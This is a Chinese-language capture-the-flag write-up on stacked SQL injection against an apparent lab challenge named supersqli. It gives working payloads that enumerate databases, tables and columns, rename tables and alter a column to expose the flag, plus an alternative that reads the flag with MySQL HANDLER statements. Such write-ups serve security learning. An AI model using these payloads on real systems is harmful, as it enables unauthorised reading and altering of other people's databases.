目录
突然记起一道攻防世界上的题目,用到了堆叠注入,于是在这里借着这道题目总结一下堆叠注入的方法
概述
堆叠注入就是通过结束前一语句后分号结束另外再起一句的注入方法,例如:1';show databases;#
题解
法一
首先尝试万能密码发现没什么用
尝试一下union查找注入点
好家伙这是全给过滤了,尝试直接使用堆叠注入破解 ,并使用show来康康
1';show databases;#
盲猜flag在supersqli里
1';show tables from supersqli;#
1';show columns from `1919810931114514`;#
1';show columns from words;#
未过滤rename与alert,于是可以把words表名改动,再将恶臭(bushi)表名改为words,把其中的flag字段名改为id,于是可通过原本查询words表中的id的语句查出flag,构造payload
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后万能密码查出flag;
法二
然而通过万能的百度,找到了其他解法,使用handler语句可以更方便地找出flag
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
这里贴上学习网站
mysql查询语句-handler_jesseyoung的博客-CSDN博客_handler查询
总结
多积累点注入姿势总是没错的,这次注入总的来说是由show ……这一语法来实现sql注入
payload相对union来说简单得多。但最后要通过其他方式来获得字段值,当然这是在select等一系列语句被过滤的情况下的无奈之举。
而handler就当是知识储备,以后也可以用到。
附言
本来是想写寄道upload题解总结的。突然想到这个于是就写了一下。至于upload,下次一定,下次一定。
希望自己不要这么菜吧 _(:з」∠)_ ----L1men2